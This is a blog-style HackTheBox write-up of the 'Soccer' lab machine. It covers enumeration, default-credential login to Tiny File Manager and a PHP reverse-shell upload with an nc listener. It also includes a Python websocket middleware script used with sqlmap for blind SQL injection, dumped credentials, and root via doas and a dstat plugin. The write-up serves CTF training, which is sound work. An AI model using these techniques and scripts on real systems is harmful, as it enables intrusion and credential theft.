😎

HackTheBox Soccer Machine WriteUp

2023/06/30に公開

初のHTB Writeupです。

Easy MachineじゃないEasy Machineと言われてますが、個人的には他のEasyより難しくなかったと感じました。

Remote IP : 10.129.75.231


This is my first HTB Writeup.

It is called not Easy Machine, but I personally felt it was not more difficult than other Easy.

Remote IP : 10.129.75.231

Enumeration

Nmap

$ nmap -sC -sV 10.129.75.231
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-10 13:09 BST
Nmap scan report for 10.129.75.231
Host is up (0.080s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sat, 10 Jun 2023 12:09:57 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sat, 10 Jun 2023 12:09:57 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
...

You can find "Did not follow redirect to http://soccer.htb/ ". So, you add remote IP and domain to /etc/hosts.

/etc/hosts
...
10.129.75.231  soccer.htb

You can access to http://soccer.htb/

WFUZZ (Fuzzing tool)

$ wfuzz -u http://soccer.htb/FUZZ -w /usr/share/dirb/wordlists/big.txt --hc 404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://soccer.htb/FUZZ
Total requests: 20469

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000016:   403        7 L      10 W       162 Ch      ".htpasswd"                                                                                                                  
000000015:   403        7 L      10 W       162 Ch      ".htaccess"                                                                                                                  
000018122:   301        7 L      12 W       178 Ch      "tiny"                                                                                                                       

Total time: 30.39291
Processed Requests: 20469
Filtered Requests: 20466
Requests/sec.: 673.4793

We found http://soccer.htb/tiny/ . The website use tiny file manager.
You should search Default credentials. Then, you can find https://github.com/prasathmani/tinyfilemanager and default username/password is admin/admin@123 and user/12345.

admin/admin@123 is correct.

Foothold

You can find upload function, so you upload php reverse shell.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

And you start port listening.

$ sudo nc -lvnp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001

After you uploaded reverse shell, you access to http://soccer.htb/tiny/uploads/php-reverse-shell.php.

$ sudo nc -lvnp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.75.231.
Ncat: Connection from 10.129.75.231:46998.
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 12:34:19 up 26 min,  0 users,  load average: 0.00, 0.00, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

You get the reverse shell.

you know the website is using nginx because nmap taught you.

$ cd /etc/nginx/sites-enabled
$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Dec  1  2022 .
drwxr-xr-x 8 root root 4096 Nov 17  2022 ..
lrwxrwxrwx 1 root root   34 Nov 17  2022 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root   41 Nov 17  2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
$ cat soc-player.htb
server {
	listen 80;
	listen [::]:80;

	server_name soc-player.soccer.htb;

	root /root/app/views;

	location / {
		proxy_pass http://localhost:3000;
		proxy_http_version 1.1;
		proxy_set_header Upgrade $http_upgrade;
		proxy_set_header Connection 'upgrade';
		proxy_set_header Host $host;
		proxy_cache_bypass $http_upgrade;
	}
}

You add soc-player.soccer.htb host to /etc/hosts file, and access to http://soc-player.soccer.htb/.
After you sign up and sign in, you open inspector in browser.
Then, you find 9091 websocket.

You can use blind sql injection over websocket attack.
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

This is the modified code. I only changed id and ws_server.

sql.py
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

You save the code "sql.py".

$ python3 sql.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*

sqlmap -u http://localhost:8081/?id=1 -p id --dbs

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

sqlmap -u http://localhost:8081/?id=1 -p id -D soccer_db --tables
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+

sqlmap -u http://localhost:8081/?id=1 -p id -D soccer_db -T accounts --columns

id,email,username,password

sqlmap -u http://localhost:8081/?id=1 -p id -D soccer_db -T accounts -C id,email,username,password --dump

1324	player@player.htb	player	PlayerOftheMatch2022
$ ssh player@10.129.75.231
The authenticity of host '10.129.75.231 (10.129.75.231)' can't be established.
ECDSA key fingerprint is SHA256:Ke/TB8v0VkzfMGP9JasA7Vb22F4d1X6hyU/U5+8JKws.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.75.231' (ECDSA) to the list of known hosts.
player@10.129.75.231's password: 
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ ls -la
total 28
drwxr-xr-x 3 player player 4096 Nov 28  2022 .
drwxr-xr-x 3 root   root   4096 Nov 17  2022 ..
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .bash_history -> /dev/null
-rw-r--r-- 1 player player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25  2020 .bashrc
drwx------ 2 player player 4096 Nov 17  2022 .cache
-rw-r--r-- 1 player player  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .viminfo -> /dev/null
-rw-r----- 1 root   player   33 Jun 10 12:09 user.txt
player@soccer:~$ cat user.txt
198c75db64c8533d5d0e2a0f9fbe2f4a

Privilege Escalation

player@soccer:~$ find / -type f -user root -perm -4000 2>/dev/null
/usr/local/bin/doas
...

doas has a vulnerability.
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/doas/

player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

dstat also has a vulnerability.
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/

player@soccer:~$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat
player@soccer:~$ vi /usr/local/share/dstat/dstat_exploit.py
player@soccer:~$ dstat --list | grep exploit
	exploit

You execute the exploit code combined doas and dstat.

player@soccer:~$ doas -u root /usr/bin/dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_exploit failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:~$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
7d9a053df6236207819ecb9fdf82c298

You pwned the Machine.

Discussion